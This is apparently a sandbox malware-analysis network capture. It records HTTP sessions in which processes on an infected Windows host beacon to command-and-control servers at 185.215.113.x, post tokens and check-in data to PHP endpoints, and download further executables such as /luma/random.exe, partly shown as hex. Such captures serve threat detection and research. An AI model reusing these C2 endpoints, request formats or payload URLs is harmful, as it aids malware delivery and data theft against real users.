Nov 12, 2024 17:08:01.573678970 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 17:08:01.573726892 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 17:08:01.573736906 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 17:08:01.573883057 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: vVkD`[Rfvk
Nov 12, 2024 17:08:01.573895931 CET	1236	IN	Data Raw: 2c cc 85 01 33 cb 52 bc 66 74 8a 99 e6 19 49 00 53 2a 35 36 9a f6 b3 9c 99 8e eb 2f a9 5a 86 19 cc cc 85 01 33 cb 52 bc 66 74 8a 99 2e 19 49 00 53 aa 2d 36 9a f6 93 9c 99 8e eb 4f a7 5a 86 19 ec cc 85 01 33 cb 52 bc 66 74 8a 99 36 19 49 00 53 72 Data Ascii: ,3RftIS*56/Z3Rft.IS-6OZ3Rft6ISr76Z3Rft>ISj36Z3RftFIS663ZL3RftIS36Zl3RftIS:6soZ3RftISz5
Nov 12, 2024 17:08:01.573908091 CET	124	IN	Data Raw: 9a f6 73 99 99 8e eb 6f b5 5a 86 19 0c d1 85 01 33 cb 52 bc 66 74 16 98 96 18 49 00 53 ea 31 36 9a f6 53 99 99 8e eb 8f b5 5a 86 19 2c d1 85 01 33 cb 52 bc 66 74 1a 98 ea 17 49 00 53 6a 32 36 9a f6 b3 99 99 8e eb 2f b6 5a 86 19 cc d1 85 01 33 cb Data Ascii: soZ3RftIS16SZ,3RftISj26/Z3RftIS56OZ3RftI
Nov 12, 2024 17:08:01.573918104 CET	1236	IN	Data Raw: 53 e2 33 36 9a f6 f3 98 99 8e eb ef b8 5a 86 19 8c d2 85 01 33 cb 52 bc 66 74 8e 99 e6 17 49 00 53 2e 3c 36 9a f6 d3 98 99 8e eb 0f b9 5a 86 19 ac d2 85 01 33 cb 52 bc 66 74 1a 98 32 17 49 00 53 c2 3a 36 9a f6 33 99 99 8e eb af b7 5a 86 19 4c d2 Data Ascii: S36Z3RftIS.<6Z3Rft2IS:63ZL3RftISB06Zl3RftISr16soZ3Rft&IS36SZ,3RftIS26/Z3RftVIS46OZ
Nov 12, 2024 17:08:01.573931932 CET	1236	IN	Data Raw: 33 cb 52 bc 66 74 16 98 4e 13 49 00 53 b2 36 36 9a f6 93 a2 99 8e eb 4f c5 5a 86 19 ec c6 85 01 33 cb 52 bc 66 74 8a 99 62 13 49 00 53 22 37 36 9a f6 f3 a1 99 8e eb ef c5 5a 86 19 8c c7 85 01 33 cb 52 bc 66 74 8a 99 aa 13 49 00 53 c2 2f 36 9a f6 Data Ascii: 3RftNIS66OZ3RftbIS"76Z3RftIS/6Z3RftIS*/63ZL3RftIS86Zl3RftIS86soZ3Rft&"IS:76SZ,3Rft"IS16
Nov 12, 2024 17:08:01.578623056 CET	1236	IN	Data Raw: 96 13 d9 f7 26 59 7a a6 23 7d 0d a7 8e 21 d4 03 5e 59 7e 03 2b 9f dc bf 5f 98 97 f7 de 8e d3 95 e7 e8 85 19 73 a9 88 01 25 61 82 85 5e 96 90 b6 cb e1 e4 17 65 c2 85 01 25 f9 e1 c1 9e 8e 4f bc 66 69 8f 1c 31 13 75 71 2f ce 91 36 9e 5e cb f6 6b 99 Data Ascii: &Yz#}!^Y~+_s%a^e%Ofi1uq/6^kJ>Y%YZ7z`pOf!Ea\|3RfRfRfRfMPR7qfi1ukJ(fIhnL^8q#pMJ]RfRf]n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	50052	185.215.113.206	80	2100	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 17:08:08.232171059 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBGCAFIIECBFIDHIJKF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 38 63 63 31 62 33 65 36 33 36 39 36 38 33 31 64 63 64 37 66 62 65 33 37 39 63 33 63 35 64 62 34 65 37 32 31 34 63 63 37 63 30 36 66 31 30 63 65 30 31 39 34 37 31 64 35 66 31 36 34 30 34 30 39 36 39 63 33 39 61 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 2d 2d 0d 0a Data Ascii: ------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="token"fa8cc1b3e63696831dcd7fbe379c3c5db4e7214cc7c06f10ce019471d5f164040969c39a------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GCBGCAFIIECBFIDHIJKF--
Nov 12, 2024 17:08:09.626607895 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:08:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50121	185.215.113.43	80	3556	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 17:09:04.151145935 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 17:09:05.062916994 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 16:09:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50122	185.215.113.43	80	3556	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 17:09:06.579699039 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 38 37 38 42 34 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2878B45082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 17:09:07.491293907 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 16:09:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 35 37 37 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 35 37 37 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 35 37 37 34 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 35 37 37 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1005772001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1005773001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1005774031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1005775001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50123	185.215.113.16	80	3556	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 17:09:07.499617100 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 12, 2024 17:09:08.408432007 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 16:09:08 GMT Content-Type: application/octet-stream Content-Length: 3144704 Last-Modified: Tue, 12 Nov 2024 15:57:17 GMT Connection: keep-alive ETag: "67337add-2ffc00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 43 a3 32 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 dc 03 00 00 c8 00 00 00 00 00 00 00 10 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 30 00 00 04 00 00 32 3f 30 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 50 05 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 51 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELC2g0@@02?0@TPhQ 00@.rsrc @@@.idata P@@pcnbbtdp`B@swjacpww0/@.taggant00"/@
Nov 12, 2024 17:09:08.408648014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 17:09:08.408660889 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 17:09:08.409714937 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 17:09:08.409732103 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 17:09:08.410892010 CET	1236	IN	Data Raw: ef 63 86 6d ce 0c 53 b0 be 88 89 73 4a 04 25 c5 28 98 ff c2 c2 a8 44 ad 41 4c 05 32 7f 97 84 9e c0 88 00 74 bf 88 00 ad be 4f 41 b1 c0 88 00 ad 47 f8 08 36 37 94 89 70 a8 a7 03 ad be f2 10 ac d4 8c 20 f1 be 0b c5 b1 43 48 10 31 cb 8b 00 ad 47 4d Data Ascii: cmSsJ%(DAL2tOAG67p CH1GM0mtFGq>&tHE6S.0E2-2.G60(DAL2fGK
Nov 12, 2024 17:09:08.410904884 CET	424	IN	Data Raw: b4 f2 00 ad 49 d4 24 d9 41 4c 0d 32 7f fd aa 38 00 98 8b b1 66 73 03 de 7e 0b c5 b9 1c e7 5b 0a 82 54 cd 79 8b 54 cd 79 8b db 57 03 4a 04 25 bd ef 7e 86 ac 33 b1 8b 09 e3 9c 85 88 33 a9 53 95 54 f2 00 ad 41 4c 05 fd 11 df e8 97 bd 87 00 31 83 94 Data Ascii: I$AL28fs~[TyTyWJ%~33STAL1m3%uI6_TyM208"BTyTyTyV83!}"ejVHBL207eAyTyTyTyM208"BTyT
Nov 12, 2024 17:09:08.410917044 CET	1236	IN	Data Raw: 5c f1 00 ad 41 4c 09 32 7f fc 44 36 85 73 17 3d 4f 11 f4 f0 28 b6 53 95 44 f1 00 ad 41 4c 09 36 85 0d c1 21 e9 11 f1 de 96 11 da a4 90 a9 f1 ae 87 b1 c1 fe 11 df e8 03 bc 87 00 31 83 94 31 ac 44 48 75 7a 42 00 05 b1 33 4f 8c 25 c7 73 c3 32 be fc Data Ascii: \AL2D6s=O(SDAL6!11DHuzB3O%s22\iWBLyTyTyTyuupdq~!z8yTyTyTyuup4q~!z8yTyTyTyE!ApM
Nov 12, 2024 17:09:08.412085056 CET	1236	IN	Data Raw: a8 92 ff ac be 54 cd 79 8b 54 cd 79 8b dd 53 04 15 0b ed dd 47 d4 24 d5 49 f1 20 ae ab 0b fe be 31 8d bd bd be 88 00 36 a8 0b e2 a5 48 72 84 8f c5 11 e9 30 87 8f 0f 5c 81 0b f3 b4 cd 37 d2 ae 8e 41 ce 79 8b 54 f8 8e 48 5f c8 f1 e2 a4 00 ad be 88 Data Ascii: TyTySG$I 16Hr0\7AyTH_}0Bi670\q66H0\7DAL6,6nW G$6q6J$qE!!=
Nov 12, 2024 17:09:08.412097931 CET	1236	IN	Data Raw: c0 df ff c2 c2 a8 44 ad 41 4c 05 32 7f fc 25 04 4a e4 24 b1 11 d8 89 74 a7 14 5f ad be 0b c5 b9 49 cc 24 b1 47 b8 53 ac d4 88 20 f1 be 0b c5 b1 47 80 ec bb bd bc 24 ac d4 88 20 f1 be 0b c5 b1 ef 48 84 71 d3 e6 5f 08 1c 4b cd 79 8b 54 cd 79 8b 54 Data Ascii: DAL2%J$t_I$GS G$ Hq_KyTyTyTySkGBBB~-X0XGan^5phs6l?CAK6}?$}~?I-wAJ-Gg
Nov 12, 2024 17:09:08.415018082 CET	1236	IN	Data Raw: 8f a9 d0 bc 6d 4e 02 75 0f 70 98 06 bf 88 83 71 c3 e6 c3 79 8b 87 75 d1 c6 70 98 06 bf 88 83 71 c3 4b cd 79 8b 13 45 d1 ce 97 af f1 e2 94 50 ac 33 ac 0c 95 4c e1 00 ad 41 4c 09 70 8b 54 cd 79 8b 54 cd 79 8b dd 53 04 15 13 4d d1 e2 13 45 d1 da 13 Data Ascii: mNupqyupqKyEP3LALpTyTySMEu!]U}Hx6:128s2t@v31H63KG&UB?0="oB%)2%2t!Ot

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50126	185.215.113.43	80	3556	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 17:09:16.854545116 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 37 37 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005772001&unit=246122658369
Nov 12, 2024 17:09:17.759088993 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 16:09:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50127	185.215.113.16	80	3556	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 17:09:17.768594980 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 12, 2024 17:09:18.676501989 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 16:09:18 GMT Content-Type: application/octet-stream Content-Length: 1795072 Last-Modified: Tue, 12 Nov 2024 15:57:23 GMT Connection: keep-alive ETag: "67337ae3-1b6400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 b0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 68 00 00 04 00 00 35 6c [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g@"h@h5l@M$a$ $b@.rsrc $r@.idata $r@ *$t@oweoibkjNv@uwilijgsh>@.taggant0h"B@
Nov 12, 2024 17:09:18.676523924 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 17:09:18.676534891 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 17:09:18.676589966 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 17:09:18.676603079 CET	1236	IN	Data Raw: 77 05 28 24 49 ea 7c a1 81 96 b0 a6 0c 6d 95 ab 76 74 ae fe c8 cf 53 41 69 6e f1 ff a4 05 84 97 d9 e5 d2 9f 03 ca e0 00 44 84 71 54 74 71 bb 37 21 1b b4 af 69 72 57 79 62 65 ad fb 13 75 c7 70 e1 b8 4f 60 f9 dc eb fa 4e 02 b9 fe ea 9b a3 16 61 5d Data Ascii: w($I\|mvtSAinDqTtq7!irWybeupO`Na]_dDaqRigkU3S@>\jr*t`C52y4db"%9sr,.6OxEM)~I^a?cV[iI<_m=KWoQ]G\|WT
Nov 12, 2024 17:09:18.676615000 CET	1236	IN	Data Raw: 73 06 bb 40 4a 6d 8d 78 cb e2 48 26 b8 4a e0 08 78 5f ef b0 8a cd f4 c3 c9 b0 43 09 23 5e 6b 16 5b 60 65 a3 43 c1 be 79 b6 0f ae fb a1 7f 19 19 a8 8a 6c a6 0a 4f 6b de 05 02 7d 88 e3 27 c2 f0 b8 fc ed 75 6d 06 ca 57 a2 e1 2c db 6a 01 44 50 aa 28 Data Ascii: s@JmxH&Jx_C#^k[`eCylOk}'umW,jDP(%(&.%0hlmQ._&/JmfqbcP;Qtd$m.!r_&r`z$Ac70Y\|?j,Ihd:HTyq=B"}u7ij&+
Nov 12, 2024 17:09:18.676628113 CET	1236	IN	Data Raw: 69 35 8e 5c 12 45 4b 54 a3 55 65 16 c9 45 71 1e 95 a1 5f 98 a9 3f 9c 18 c9 5d 63 5a e5 6d 23 54 6d a8 7c 93 b9 58 9d 1f a5 ab 6c 04 80 25 66 76 d9 61 df 30 c5 2e 3b 4f 77 22 c3 9e e5 5f f3 2f b1 2e 25 51 e8 25 6f 76 01 61 13 31 59 a1 74 bf a6 87 Data Ascii: i5\EKTUeEq_?]cZm#Tm\|Xl%fva0.;Ow"_/.%Q%ova1YtmY3\|ix!t0*6{w&]qNelgi&\|v-_Ek6Ia8ii3Pm"'w-fl"3kF:PQ>W#uo~{kor5 :tFiQ:_qnr0\|f-
Nov 12, 2024 17:09:18.676753044 CET	1236	IN	Data Raw: 67 78 3c 24 ee 8c 24 33 73 51 dd 24 65 ab 7f d9 85 df 22 5f ef 33 2b 93 e1 a8 a3 c3 a5 38 df 74 69 33 f7 53 d5 25 b3 ad aa 22 b9 c6 69 33 23 53 35 3f e4 36 e8 61 6a 92 b4 25 74 f6 a3 b9 e4 32 d1 73 a5 46 59 33 63 1e 86 a5 97 9a f1 77 ef e8 72 45 Data Ascii: gx<$$3sQ$e"_3+8ti3S%"i3#S5?6aj%t2sFY3cwrE63}:_ZE$ylRHqm:y688M8"9?D#p_w0AcR9F Im3u%qZI2?w3kd3161opKQeD}&A3l5Qq0DE$}
Nov 12, 2024 17:09:18.676764011 CET	148	IN	Data Raw: c1 c0 71 c2 83 e9 6c a0 75 3f e2 5b e9 fa 74 1e 21 a1 03 9c a9 96 e7 78 8d c9 8f 97 a1 c1 66 14 81 8e 42 20 cb 42 fb 66 77 60 f3 30 e9 5f a8 42 6f 97 63 24 31 6c c3 98 f1 54 f1 18 36 fd 71 1e 55 a7 83 7f 76 3e 24 93 69 52 a9 26 12 45 03 51 8d 28 Data Ascii: qlu?[t!xfB Bfw`0_Boc$1lT6qUv>$iR&EQ(g8RdzUS(&qq/U}0qPECjfc$_7$)mfMR
Nov 12, 2024 17:09:18.676775932 CET	1236	IN	Data Raw: 77 0d 9e 1f e5 63 e2 2f 59 55 7d 44 a3 5d 7c 79 89 70 7d 16 97 6e 77 24 22 ab 6d 63 72 31 9f bc 69 33 a3 50 0d a5 7f 4d 86 27 32 6f 77 2d c7 96 05 62 84 70 e8 95 df 24 e9 3e 33 9c 73 30 6d 4f d5 b5 9d 24 01 2d 77 98 e9 1a 66 ba e8 b5 ca 5e 09 36 Data Ascii: wc/YU}D]\|yp}nw$"mcr1i3PM'2ow-bp$>3s0mO$-wf^6!twq>)WwP1Eiewz$%Kr0T}_NuEqj w6kjA3kA$q-{$l>>v t)F/^pfqAm#8IJnPzkR1#w
Nov 12, 2024 17:09:18.681459904 CET	1236	IN	Data Raw: 77 be 6b be e9 4f a4 93 75 a1 63 24 f9 62 bf 16 a3 39 a4 93 3e c9 63 24 1d 5f 57 9a 83 23 5d e1 df b1 27 28 82 f1 63 8a eb a6 48 10 7a 2b 37 56 77 f5 a0 06 67 4c 32 10 93 e9 4f 91 72 7d e8 1d bd 2f a2 53 b4 de 5c 9a a1 29 54 22 75 c9 a3 62 a6 c8 Data Ascii: wkOuc$b9>c$_W#]'(cHz+7VwgL2Or}/S\)T"ub}$}.Ii03a.+]'.Pl4]$-mc)p$eiITfV3?x$%+qi5Yt=}q/E1fQW3$Br1/Aq6I

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	50132	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 17:09:25.599911928 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 17:09:26.508433104 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:09:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
